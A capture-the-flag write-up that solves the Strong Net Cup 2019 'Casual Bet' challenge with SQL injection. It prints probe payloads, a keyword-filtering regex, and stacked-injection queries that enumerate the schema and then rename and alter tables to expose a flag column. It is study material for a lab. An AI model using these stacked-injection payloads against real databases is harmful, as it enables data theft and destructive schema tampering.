当前位置:网站首页>Strong Net Cup 2019 - Casual Bet (Stacked Injection)
Strong Net Cup 2019 - Casual Bet (Stacked Injection)
2022-08-08 04:02:00 【happy star】
1'
So it is closed by single quotes
1' or 1#
Find out all the data in the table
1' order by 3#
So the number of fields is 2
1' union select 1,2#
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);It is found that many keywords are filtered, so it cannot be injected with union.Similarly, error injection cannot be used, because the statement of error injection is the same as that of union injection.
Use stack injection1';show databases;#
1';show tables;#
1';show columns from `1919810931114514`;#Let's look at the digital table. The back single quotation mark (`) is the quotation mark used by the database, table, index, column and alias. If it is a purely digital table, you need to add back single quotation marks. If it is not, you don't need to add or addIt doesn't matter.
1';show columns from words;#
Seeing the fields in the words table, we find that the underlying sql statement is the words table that is directly queriedselect * from words where id=$inject limit 0,1;
But our current flag is in the digital table, and many keywords are filtered, we cannot directly query the digital table
By rename or alter, we change the words table to words1 or other names, then change the digital table name to words, and then change the flag field name in the new words to id
1';rename table words to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;descwords;# 1' or 1#
边栏推荐
- PC博物馆(5) 1975 IMSAI 8080
- 面向6G的通信感知一体化架构与关键技术
- DolpinScheduler
- Nanny level tutorial!Golang microservices simple architecture in practice
- MySQL从入门到入土【20W字收藏篇】
- Implementing Express middleware principles
- 项目分析(嵌入式产品中的硬件设计、生产)
- 06 tp6 的数据更新(改)及删除 《ThinkPHP6 入门到电商实战》
- How does JS use hexadecimal to save 100-bit state
- 数据标注平台doccano----简介、安装、使用、踩坑记录
猜你喜欢
随机推荐
Nanny level tutorial!Golang microservices simple architecture in practice
How does JS use hexadecimal to save 100-bit state
egg-session stores data to redis
egg-Alibaba Cloud SMS Configuration
第4周 一步步搭建多层神经网络以及应用(1 & 2)
PC Museum (Fanwai 01)-Chenghuiwan, junior high school students develop a large-scale navigation game with physical scales
32. 你知道Redis的字符串是怎么实现的吗?
VSCode打开 C(嵌入式) 工程的一些记录
egg-阿里云短信配置
Knowledge of DisplayPort-DP interface
CFdiv2-Tournament Countdown-(思维+交互题套路)
初出茅庐的小李第115篇博客项目笔记之国产GD32F103RCT6基础工程创建
保姆级教程!Golang微服务简洁架构实战
STFW3N150 Pin Function Datasheet (PDF) Pin Diagram
STFW3N150管脚功能 数据表(PDF)引脚图
vulnhub-DC-5靶机渗透记录
VSCode opens some records of C (embedded) projects
hreg说明备忘
egg-validate-custom validation method error language (error Chinese prompt)
mmedicting的get_flops.py的使用









